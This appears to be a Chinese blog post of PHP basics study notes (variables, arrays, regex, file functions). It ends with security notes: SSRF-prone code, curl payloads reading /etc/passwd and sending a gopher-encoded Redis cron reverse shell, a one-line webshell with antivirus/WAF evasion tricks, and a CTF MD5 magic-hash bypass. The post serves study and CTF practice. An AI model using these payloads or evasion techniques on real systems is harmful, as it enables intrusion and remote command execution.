php语言基础

一.基础

1.变量分类

1.可变变量

1
2
3
4
5
6
7
<?php
header('Content-type:text/html;charset=utf-8');//编码设置
$bao='biao';
$biao='鼠标';

echo $bao."///".$$bao; //$$bao即可变变量
?>

结果为:biao///鼠标

2.外部变量

即php在使用过程中规定好的一些变量。

在html文件中写入

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
</head>
<body>
<form action="lx2.php" method="post">

<input type="text" name="username" />
<input type="passwrod" name="pwd"/>
<input type="submit" name="提交"/>
</form>
</body>

</html>

在php文件中写入

1
2
3
4
5
6
7
8
<?php
$u =$_POST['username'];
echo $u.'<br />';

$p =$_POST['pwd'];
echo $p.'<br />';
?>

则在html中输入的用户名与密码,提交过后,会跳转到php页面进行输出显示。

总结外部变量

$_COOKIE 会话控制中的cookie传值信息

$_SESSION 会话控制中的session传值信息

$_FILES 文件撒很难过船的结果

$_GET url上的参数值

$_POST 表单提交的参数值

$_REQUEST 可以得到get或post的传值结果

3.环境变量

$_SERVER[“REQUEST_METHOD”] 请求当前php页面的方法

…..

2.常量

define(常量名,值);

说明:

可小写,可不加引号;但通常大写,加引号

字符串中调用常量时,必须在引号外面

此外,还有内置常量:

LINE 当前所在行

FILE 当前文件在服务器的路径

FUNCTION 当前函数名

CLASS 当前类名

METHOD 当前成员方法名

PHP_OS PHP运行的操作系统

PHP_VERSION 当前PHP版本

DIR 文件所在目录信息

NAMESPACE 当前命名空间的名称

3.字界符

一般英文大写,>>>开始字符+结束字符(相同)

1
2
3
4
5
6
7
8
9
<?php
$string = <<<AAA
fdhjkdf
sdjkf
fglkl;sdgjk dkl
sdfgk
AAA;
echo $string;//字界符声明字符串
?>

结果:fdhjkdf sdjkf fglkl;sdgjk dkl sdfgk

4.注释

同c++,单行// 多行/* */

5.查看和判断变量类型

gettype(),获得变量的类型

var_dump()输出变量类型和值

is_callable()是否为函数

双引号一般是解析变量,单引号效率高一点

1
2
3
4
5
6
if(is_callable("echo")) {
echo '执行真区间';
}else{
echo '执行假区间';
}
echo "<br />";

echo是一个语言结构,不是函数,没有返回值,所以结果为假

6.比较运算符号

=== 全等,判断类型、值等于

如:

1
2
3
4
5
6
$x=5.1;
$y=5.10; //全等


$x='5.1';
$y=5.10; //不全等

!==不全等,判断类型、值不等于

7.流程控制语句

if…else

switch

(do) while

for 循环

同c++;

goto 循环语句

1
2
3
4
5
6
7
8
<?php
goto enen;

echo '123';

enen:
echo 'goto语句触发';
>?

结果为:goto语句触发

可以在for循环里,查找到特定某项时,goto输出

1
2
3
4
5
6
7
8
9
10
<?php
for ($i=0;$i<100;$i++){
echo '第'.$i.'次<br />';
if($i == 15){
goto end;
}
}
end:
echo '不干了';
?>

结果:

第0次

第15次

不干了

8.函数基本语法

1
2
3
4
5
function 函数名(参数名1=[值1], 参数名2=[值2] , 参数名n=[值n])
{
函数中的功能体
[return 返回值]
}

所以可以参照外部变量时的php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function test()
{

$u =$_POST['username'];
echo $u.'<br />';

$p =$_POST['pwd'];
echo $p.'<br />';
}
test();
?>

公用代码处理

一般会将公用代码放到一个文件中,使用时包含这个文件即可。

包含文件的方法有4种:

  1. include 文件继续向下执行,通常用于动态包含 ;包含失败会返回警告
  2. require 代码不会继续向下执行,通常包含及其重要的文件;失败会返回致命错误
  3. include_once 若该文件曾经包含过,则不再包含;失败时返回警告
  4. require_once 防止文件反复包含;失败时返回致命错误

文件包含举例-include

如2.php内容如下:

1
2
3
4
5
6
7
<?php

function test()
{
echo "this is 2.php";
}
?>

同级目录中22.php内容如下:

1
2
3
4
5
6
<?php

include "2.php";
//2.php的函数直接调用
test();
?>

9.php数组结构

array(参数可以是任意类型)

1
2
3
4
5
6
7
8
9
10
<?php
header('Content-type:text/html;charset=utf-8');

$shuzu = array(1 , 1.5 , true ,'hellophp');

var_dump($shuzu);


?>

结果:

array(4) { [0]=> int(1) [1]=> float(1.5) [2]=> bool(true) [3]=> string(8) “hellophp” }

索引也可以不从0开始,那就需要自己设置键值对

1
2
3
4
5
6
7
8
9
10
11
12
<?php
header('Content-type:text/html;charset=utf-8');


$shuzu = array(10=>1 , 1.5 , 20=>true ,'hellophp');


echo '<pre>';
var_dump($shuzu);
echo '</pre>';
?>

结果:

1
2
3
4
5
6
7
8
9
10
array(4) {
[10]=>
int(1)
[11]=>
float(1.5)
[20]=>
bool(true)
[21]=>
string(8) "hellophp"
}

访问数组的话, $shuzu[\$i]即可

count($shuzu)可以获得所有元素个数

函数 功能
array_shift 弹出数组中的第一个元素
array_unshift 在数组的开始处压入元素
array_push 向数组的末尾处压入元素
array_pop 弹出数组末尾的最后一个元素
current 读出指针当前位置的值
key 读出指针当前位置的键
next 指针向下移
prev 向上移
reset 指针到开始处
end 指针到结束处

10.php正则

主要用来匹配。

基本用法

字符 功能
. 匹配任意一个字符(除了\n)
[] 匹配[]中列举的字符
\d 匹配数字
\D 非数字
\s 匹配空白,空格或TAB键
\S 非空白
\w 单词字符
\W 非单词字符

数量

字符 功能
* 匹配前一个字符出现0次或无数次
+ 匹配前一个字符出现1或无线次
? 匹配前一个字符出现1次或0次
{m} 匹配前一个字符出现m次
{m,} 匹配前一个字符至少出现m次
{m,n} 匹配前一个字符出现从m到n次

边界

字符 功能
^ 匹配字符串开头
$ 匹配字符串结尾
\b 匹配一个单词的边界
\B 匹配非单词边界

分组

字符 功能
| 匹配左右任意一个表达式
(ab) 将括号中字符作为分组
\num

正则表达式

函数 说明
preg_filter 执行一个正则表达式搜索和替换
preg_grep 返回匹配模式的数组条目
preg_match 执行一个正则表达式匹配
preg_match_all 执行一个全局正则表达式匹配
preg_replace 执行一个正则表达式搜索和替换
preg_split 通过一个正则表达式分割字符串

11.文件操作

1.读取文件

1
2
3
4
5
6
7
8
readfile ( string: $文件名)
功能:传入一个文件路径,输出一个文件。

file_get_contents(string: $文件名)打开文件函数

fopen (r,r+,w,w+,a,a+)
fread
fclose

2.创建和修改文件内容

1
2
3
file_put_contents ( string $文件路径, string $写入数据)
功能:向指定的文件当中写入一个字符串,如果文件不存在则创建文件。返回的是写入的字节长度

1
2
3
4
5
6
7
8
9
10
 <?php
$data = "学好PHP";
$numbytes = file_put_contents('test.txt', $data);
if($numbytes){
echo '写入成功,我们读取看看结果试试:';
echo file_get_contents('test.txt');
}else{
echo '写入失败或者没有权限,注意检查';
}
?>

覆盖写:

1
2
3
4
5
6
7
8
<?php
header('Content-type:text/html;charset=utf-8');
$filename = 'test.txt';
$fp= fopen($filename, "w"); //w写,a可以追加写
$len = fwrite($fp, '原文内容会被覆盖');
fclose($fp);
print $len .'字节被写入了\n';
?>

3.创建临时文件

1
2
3
4
5
6
7
8
9
10
<?php
header('Content-type:text/html;charset=utf-8');
$handle = tmpfile();
//向里面写入了数据
$numbytes = fwrite($handle, '写入临时文件');
//关闭临时文件,文件即被删除
fclose($handle);
echo '向临时文件中写入了'.$numbytes . '个字节';

?>

4.移动、拷贝、删除文件

重命名:rename($old,$new)

复制:copy($old,$new)

删除:unlink()

文件属性函数:file_exists…

目录处理函数:opendir/closedir/filetype

文件权限设置:chmod(文件名,777)

文件路径函数:pathinfo(返回文件的各个组成部分)/basename(文件名)…

相关漏洞函数

  • file_get_content()

    1
    2
    $content = file_get_contents($_GET['url']);
    // 通过 file_get_contents 直接获取 URL,保存到 content,之后利用
  • cURL - curl_exec()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
     function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
    }

    $url = $_GET['url'];
    curl($url);
    // 初始化一个 curl 获取 URL,之后利用

cURL默认支持的协议很多

file协议查看文件

1
curl -v 'file:///etc/passwd'

dict协议探测端口

1
curl -v 'dict://10.11.2.1:6379/info' #redis

gopher反弹shell

1
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
1
2
3
4
5
ftp、ftps (FTP匿名访问、爆破)
tftp (UDP协议扩展)
imap/imaps/pop3/pop3s/smtp/smtps (爆破邮件用户名密码)
smb/smbs (SMB匿名访问及爆破)
telnet (连接SSH/Telnet,匿名访问及爆破)

————————————————更新内容2024————————————

webshell编写

注:该webshell的相关免杀技巧均来自https://blog.zgsec.cn/ 所提供的php-webshell-bypass-guide

php常见格式

<?php ?> 或不要闭合

最短webshell:<?=`$_GET[1]`;

回调类型函数

1
2
3
4
5
6
7
array_filter()
array_walk()
register_shutdown_function()
register_shutdown_function()
array_map()
array_reduce()
...

这些函数可以帮忙躲过查杀

字符串处理函数

自定义函数,组成字符串拼接方式,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function test($a){
$s=['A','a','b','y','s','s','T','e','a','m'];
$tmp="";
while($a>10){
$tmp.=$s[$a/10];
$a=$a/10;
}
return $tmp.$s[$a];
}
echo test(976534);//sysTem,这种高危函数
类似的有
trim() //从字符串的两端删除空白字符和其他预定义字符
ucfirst() //把字符串中的首字符转换为大写
ucwords() //把字符串中每个单词的首字符转换为大写
strtoupper() //把字符串转换为大写
strtolower() //把字符串转换为小写
strtr() //转换字符串中特定的字符
substr_replace() //把字符串的一部分替换为另一个字符串
substr() //返回字符串的一部分
strtok() //把字符串分割为更小的字符串
str_rot13() //对字符串执行 ROT13 编码

substr()截取

intval()获取字符串的整数值,如果有些特殊前缀,则执行相应进制

命令执行函数

这些都是杀软和WAF的重点对象,一般都要将这种函数拼接、重组、加密混淆等躲查杀

eval/system

exec,将结果保存到数组里

shell_exec,执行后将结果输出到变量里

passthru,结果输出到页面中

popen,返回一个资源类型变量储存结果,配合fread读取

反引号,echo `ls`;执行ls命令

文件写入函数

在指定目录写入一个恶意PHP文件,最后通过连接那个恶意PHP文件获得WebShell

ctfshow

1.哈希比较绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

ctype_alpha检测所给参数是不是字母的函数。

v2又要求是数字

字母和数字的哈希值要相等,当然不可能哈

所以要构造一下,使得

双方的哈希值都以 0e 开头,紧跟着一串数字;这样会被php解释为科学技术法中的0

v1=QNKCDZO 和v2=240610708

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信